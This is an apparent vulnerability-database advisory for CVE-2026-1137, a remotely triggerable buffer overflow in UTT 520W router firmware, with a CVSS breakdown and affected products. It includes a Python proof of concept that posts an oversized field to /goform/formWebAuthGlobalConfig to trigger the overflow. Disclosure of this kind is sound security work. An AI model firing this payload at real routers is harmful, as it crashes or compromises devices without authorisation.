Security Vulnerability Report
中文
CVE-2026-1137 CVSS 8.8 HIGH

CVE-2026-1137

Published: 2026-01-19 05:16:06
Last Modified: 2026-02-04 20:39:51

Description

A vulnerability was detected in UTT 进取 520W 1.7.7-180627. Affected by this issue is the function strcpy of the file /goform/formWebAuthGlobalConfig. Performing a manipulation results in buffer overflow. The attack is possible to be carried out remotely. The exploit is now public and may be used. The vendor was contacted early about this disclosure but did not respond in any way.

CVSS Details

CVSS Score
8.8
Severity
HIGH
CVSS Vector
CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:H/I:H/A:H

Configurations (Affected Products)

cpe:2.3:o:utt:520w_firmware:*:*:*:*:*:*:*:* - VULNERABLE
cpe:2.3:h:utt:520w:3.0:*:*:*:*:*:*:* - NOT VULNERABLE
UTT 进取 520W 1.7.7-180627

PoC / Exploit Code

⚠ For Security Research Only
The following code is for security research and authorized testing only.
python
import requests # CVE-2026-1137 PoC - Buffer Overflow in UTT 进取 520W # Target: UTT 进取 520W router /goform/formWebAuthGlobalConfig target_ip = "192.168.1.1" # Router IP address target_port = 80 # Construct malicious payload with excessive length to trigger overflow # The strcpy function in /goform/formWebAuthGlobalConfig does not check buffer boundaries payload = { 'webAuthGlobalConfig': 'A' * 1000, # Overflow payload } url = f"http://{target_ip}:{target_port}/goform/formWebAuthGlobalConfig" try: response = requests.post(url, data=payload, timeout=10) print(f"[*] Request sent to {url}") print(f"[*] Status code: {response.status_code}") print(f"[*] Response length: {len(response.text)}") except requests.exceptions.RequestException as e: print(f"[!] Error: {e}")

References

Raw JSON Data

JSON
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